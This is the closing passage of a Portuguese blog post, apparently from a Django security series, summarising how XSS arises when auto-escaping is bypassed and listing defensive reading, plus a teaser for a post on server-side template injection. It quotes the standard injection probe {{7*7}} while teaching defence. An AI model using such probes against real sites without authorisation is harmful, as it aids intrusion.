No fim das contas, XSS é primo do SQL Injection na camada de frontend. Acontece exatamente pelo mesmo motivo — deixamos dados não confiáveis se passar por código executável — só que tem como alvo o DOM em vez do banco de dados. O auto-escaping do Django elimina a vulnerabilidade para o caso comum de renderizar campos de model em templates. O risco vive nos bypasses deliberados: mark_safe(), | safe, {% autoescape off %} e renderização de Markdown sem um sanitizador de lista de permissões. A regra de ouro aqui é direta: nunca jogue conteúdo do usuário em mark_safe() sem ter sanitizado explicitamente antes. O Post 3 mergulha mais fundo no próprio mecanismo de templates: Server-Side Template Injection (SSTI), o que acontece quando a entrada do usuário chega diretamente ao renderizador de templates do Django, e por que o {{7*7}} do Jinja2 não é o único risco.
Leitura Complementar
- Django Docs — Escape automático de HTML
- Django Docs — Proteção contra cross-site scripting (XSS)
- nh3 — Bindings Python para o sanitizador Ammonia
- django-csp — Content Security Policy para Django
- MDN — Content Security Policy (CSP)
- OWASP A03:2021 — Injeção
- OWASP XSS Prevention Cheat Sheet
- PortSwigger Web Security Academy — Cross-site scripting
- MITRE ATT&CK — T1059.007 JavaScript
- Web Security for Developers: Real Threats, Practical Defense (Malcolm McDonald) — Capítulo 7: Cross-Site Scripting Attacks
- Secure Web Application Development: A Hands-On Guide with Python and Django (Matthew Baker, Apress)
Próximo nesta série → Post 3: Server-Side Template Injection (SSTI): Quando os Templates do Django Viram Arma